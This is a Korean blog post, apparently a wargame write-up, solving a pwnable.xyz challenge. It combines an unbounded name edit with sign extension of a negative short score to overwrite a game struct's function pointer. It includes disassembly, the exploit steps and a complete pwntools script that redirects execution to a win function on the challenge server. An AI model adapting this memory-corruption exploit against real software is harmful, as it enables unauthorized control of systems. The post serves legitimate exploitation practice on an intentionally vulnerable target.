대강 봐도 함수 포인터 조작하는 문제라는 것을 눈치챌 수 있다.
바이너리에서는 아래와 같은 0x20 크기의 구조체를 사용한다.
cur
의 타입은 struct Game *
, saves
의 타입은 struct Game * [5]
이다.
void __cdecl edit_name()
{ size_t size; // rax size = strlen(cur->name); read(0, cur, size); } |
먼저 주목할 곳은 edit_game
함수이다.
만약 cur->name
에 16바이트가 전부 써져 있으면 cur->points
값을 일부 변조할 수 있고, 마찬가지로 cur->points
의 8바이트가 모두 0이 아니라면 cur->play_func
의 값을 조작해서 실행 흐름을 변경할 수 있다.
.text:0000000000400EEF mov eax, [rbp+i]
.text:0000000000400EF2 cdqe .text:0000000000400EF4 lea rdx, ds:0[rax*8] .text:0000000000400EFC lea rax, saves .text:0000000000400F03 mov rax, [rdx+rax] .text:0000000000400F07 lea rdx, [rax+10h] .text:0000000000400F0B mov rax, cs:cur .text:0000000000400F12 movzx eax, word ptr [rax+10h] .text:0000000000400F16 movsx rax, ax .text:0000000000400F1A mov [rdx], rax |
다음으로 살펴봐야 할 부분은 save_game
함수에서 point
값을 옮기는 코드이다.
원래 해당 필드의 타입은 short 이기 때문에 일반적인 경우에서는 2바이트의 값만 바뀐다. 하지만 만약 point
가 음수일 경우 movsx
명령어로 인해 sign extension으로 뒷 부분의 바이트가 전부 0xFF으로 채워지게 된다.
따라서,
1. 처음 이름을 입력할 때 16바이트를 꽉 채워서 입력한다.
2. 잘못된 답을 입력해 cur->point
값을 -1로 만든다.
3. save_game
함수를 실행해서 saves[i]->point
에 0xFFFFFFFFFFFFFFFF 값을 쓴다.
4. edit_name
함수를 실행해서 cur->play_func
의 값을 &win
으로 바꾼다.
위 과정을 거쳐 플래그를 얻을 수 있다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
from pwn import *
import argparse def exploit() : p.writeafter(b'Name: ', b'A'*0x10) p.writelineafter(b'> ', b'1') p.writelineafter(b'= ', b'0') p.writelineafter(b'> ', b'2') payload = b'A'*0x18 payload += p64(0x4009D6)[:3] # win p.writelineafter(b'> ', b'3') p.write(payload) p.writelineafter(b'> ', b'1') p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = remote('svc.pwnable.xyz', 30009) else : p = process('./challenge') exploit() |
Last update: 2/5/2021
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / SUS (0) | 2020.01.14 |
---|---|
pwnable.xyz / fspoo (0) | 2020.01.14 |
pwnable.xyz / l33t-ness (0) | 2020.01.13 |
pwnable.xyz / Jmp table (0) | 2020.01.13 |
pwnable.xyz / TLSv00 (0) | 2020.01.13 |